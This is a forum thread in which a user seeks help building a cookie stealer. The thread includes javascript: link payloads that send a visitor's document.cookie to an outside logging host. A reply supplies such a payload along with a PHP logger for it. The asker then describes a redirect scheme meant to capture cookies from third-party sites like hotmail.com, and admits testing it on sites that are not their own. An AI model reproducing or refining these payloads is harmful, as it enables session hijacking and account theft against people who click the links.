Cookie stealing
Sorry wrong forum*
Hi, I'm trying to create a cookie stealer and not like this witch I quite fast was abel to create:
markup<a href="javascript: location.href='http://somesite.com?cookie='+document.cookie">Klick me</a>
What I want to create is something like this
markup<a href="javascript: location.href='http://victim.com'; location.href='http://somesite.com?cookie='+document.cookie">Klick me</a>
That does not work, why I dont know. I've tried alot of things but nothing works.
I hope someone knows how to do this, and that my English is good enought for understanding.
NOTE: this is not a script I will use to attack any sites but my own. It is only for fun and learning.
Thanks!
try something like this
<a href="javascript: window.location.href='http://www.site.com/stealer.php?c='+document.cookie">Here</a>
and stealer.php has a code getting the GET var and logging it or echoing or whatever.
[EDIT]I didnt see spyware's post, its basically the same thing[/EDIT]
Thanks, but I've already created a php script for logging the cookie in a txt file. I had only problems becaues the script you show is a script that requiers that you post it on the site you want to steal the cookie from. What I want is that for example: a user checks my site called hacker.com/cookie.php and clicks on a link and therby gets redirected to for example hotmail.com. When the user is att hotmail .com then it redirects the user back to my site (hacker.com/stolen.php?cookie=the cookie).
I was able to create a script for this but it did not work on every site i tested. Okay I have to admit I used this script on 2 other sites that was not my own but I have no intention of hacking them and I am allowed to do so by the admin.